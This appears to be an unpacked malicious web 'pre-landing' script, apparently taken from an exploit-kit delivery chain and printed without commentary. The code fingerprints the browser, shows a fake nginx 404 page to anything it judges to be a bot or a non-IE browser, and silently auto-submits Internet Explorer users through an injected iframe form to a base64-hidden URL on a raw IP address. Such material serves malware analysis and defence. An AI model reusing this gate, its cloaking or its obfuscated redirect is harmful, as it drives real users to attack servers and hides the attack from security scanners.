Unpacked pre-landing page

var keyStr = "ABCDEFGHIJKLMNOP" + "QRSTUVWXYZabcdef" + "ghijklmnopqrstuv" + "wxyz0123456789+/" + "=";
var MaxiMus = '';

function getBrowser() {
    var ua = navigator.userAgent;
    var browsrObj = {
        browser: 'unknown',
        browser_real: '',
        is_bot: false,
        browser_quality: 0,
        platform: 'desktop',
        versionFull: '',
        versionShort: ''
    };
    try {
        var bName = function() {
            if (ua.search(/Edge/) > -1) return "edge";
            if ((ua.search(/MSIE/) > -1) || (ua.search(/Trident/) > -1)) return "ie";
            if (ua.search(/Firefox/) > -1) return "firefox";
            if ((ua.search(/Opera/) > -1) || (ua.search(/OPR/) > -1)) return "opera";
            if (ua.search(/YaBrowser/) > -1) return "yabrowser";
            if (ua.search(/Chrome/) > -1) return "chrome";
            if (ua.search(/Safari/) > -1) return "safari";
            if (ua.search(/Maxthon/) > -1) return "maxthon";
            else return "unknown"
        }();
        browsrObj.browser = bName;
        if (/iphone|ipad|ipod|android|blackberry|mini|windows\sce|palm/i.test(navigator.userAgent.toLowerCase())) browsrObj.platform = 'mobile';
        var version;
        if (bName != 'unknown') {
            switch (bName) {
                case "edge":
                    version = (ua.split("Edge")[1]).split("/")[1];
                    break;
                case "ie":
                    if ((ua.search(/Trident/) > -1)) {
                        version = (ua.split("; rv:")[1]).split(")")[0]
                    } else {
                        version = (ua.split("MSIE ")[1]).split(";")[0]
                    }
                    break;
                case "firefox":
                    version = ua.split("Firefox/")[1];
                    break;
                case "opera":
                    version = ua.split("Version/")[1];
                    break;
                case "operaWebkit":
                    bName = "opera";
                    version = ua.split("OPR/")[1];
                    break;
                case "yabrowser":
                    version = (ua.split("YaBrowser/")[1]).split(" ")[0];
                    break;
                case "chrome":
                    version = (ua.split("Chrome/")[1]).split(" ")[0];
                    break;
                case "safari":
                    version = (ua.split("Version/")[1]).split(" ")[0];
                    break;
                case "maxthon":
                    version = ua.split("Maxthon/")[1];
                    break
            }
            browsrObj.versionFull = version;
            browsrObj.versionShort = version.split(".")[0]
        }
    } catch (err) {}
    var w = window,
        d = document;
    var CorrectBrowser = true;
    var uaBrowser = browsrObj;
    var isIE = isChrome = isFirefox = isOpera = 0;
    if (uaBrowser.platform != 'mobile' && (browsrObj.browser == 'ie' || browsrObj.browser == 'chrome' || browsrObj.browser == 'firefox')) {
        if ('ActiveXObject' in window) isIE++;
        if ('chrome' in window) isChrome++;
        if ('opera' in window) isOpera++;
        if ('getBoxObjectFor' in d || 'mozInnerScreenX' in w) isFirefox++;
        if ('WebKitCSSMatrix' in w || 'WebKitPoint' in w || 'webkitStorageInfo' in w || 'webkitURL' in w) isChrome++;
        var f = 0;
        f |= 'sandbox' in d.createElement('iframe') ? 1 : 0;
        f |= 'WebSocket' in w ? 2 : 0;
        f |= w.Worker ? 4 : 0;
        f |= w.applicationCache ? 8 : 0;
        f |= w.history && history.pushState ? 16 : 0;
        f |= d.documentElement.webkitRequestFullScreen ? 32 : 0;
        f |= 'FileReader' in w ? 64 : 0;
        if (f == 0) isIE++;
        if (isIE > 0) {
            browsrObj.browser_real = 'ie';
            browsrObj.browser_quality = isIE
        }
        if (isChrome > 1 && isFirefox == 0) {
            browsrObj.browser_real = 'chrome';
            browsrObj.browser_quality = isChrome
        }
        if (isFirefox > 0 && isChrome == 0) {
            browsrObj.browser_real = 'firefox';
            browsrObj.browser_quality = isFirefox
        }
        if (uaBrowser.browser != uaBrowser.browser_real) browsrObj.is_bot = true;
        if (browsrObj.browser_real != 'ie') browsrObj.is_bot = true
    }
    MaxiMus += browsrObj.browser + '-' + browsrObj.browser_real + '_ie' + isIE + 'chrome' + isChrome + 'firefox' + isFirefox;
    return browsrObj
}
var keyStr = "ABCDEFGHIJKLMNOP" + "QRSTUVWXYZabcdef" + "ghijklmnopqrstuv" + "wxyz0123456789+/" + "=";

function decode64(input) {
    var output = "";
    var chr1, chr2, chr3 = "";
    var enc1, enc2, enc3, enc4 = "";
    var i = 0;
    var base64test = /[^A-Za-z0-9\+\/\=]/g;
    if (base64test.exec(input)) {}
    input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
    do {
        enc1 = keyStr.indexOf(input.charAt(i++));
        enc2 = keyStr.indexOf(input.charAt(i++));
        enc3 = keyStr.indexOf(input.charAt(i++));
        enc4 = keyStr.indexOf(input.charAt(i++));
        chr1 = (enc1 << 2) | (enc2 >> 4);
        chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
        chr3 = ((enc3 & 3) << 6) | enc4;
        output = output + String.fromCharCode(chr1);
        if (enc3 != 64) {
            output = output + String.fromCharCode(chr2)
        }
        if (enc4 != 64) {
            output = output + String.fromCharCode(chr3)
        }
        chr1 = chr2 = chr3 = "";
        enc1 = enc2 = enc3 = enc4 = ""
    } while (i < input.length);
    return unescape(output)
}

function analytics() {
    BrowserInfo = getBrowser();
    if (BrowserInfo.is_bot == true) {
        document.write('<html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>')
    }
    if (BrowserInfo.is_bot == true) {} else {
        window.frames[0].document.body.innerHTML = '<form target="_parent" method="post" action="' + decode64('aHR0cDovLzE4OC4yMjUuMzMuMTM4Lz9NekUxT0RrMSZFQlpadE5MRXlMdUx6aSZ5c1JEY2puV216YWI9Y0c5d2RXeGhjZz09Jm55RHZpTj1kVzVyYm05M2JnPT0mbng1NjdkZmRzPXhIclFNclRZYlJyRkZZSGZLUF9FVUtaRU1VcldBME9Ld1lpWmhhalZGNTJ4RkRQR3BiWDFGeGpzcFZ1ZENGaUVtdmR2ZExFSEl3Q2gxVWJBJnVST01rS2E9Y21Wd2IzSjAmZE5JcnRXb0ZDTj1jRzl3ZFd4aGNnPT0mcWFERVdRZFhSPVkyRndhWFJoYkE9PSZOT0hlT2xJTD1ZMkZ3YVhSaGJBPT0mdGhkZjRkPVN3RmtuWXBWQkZrUm82MnUzMGZWeXhLYTBwU0RfaERjYUFsQl9KYkRGcmN6M2xtbW5yY1FjODUya1JPRXUySUd5dTh0WWxrZ3BROVIyYXZJJmV5REFIcj1ZMkZ3YVhSaGJBPT0=') + '"></form>';
        window.frames[0].document.forms[0].submit()
    }
}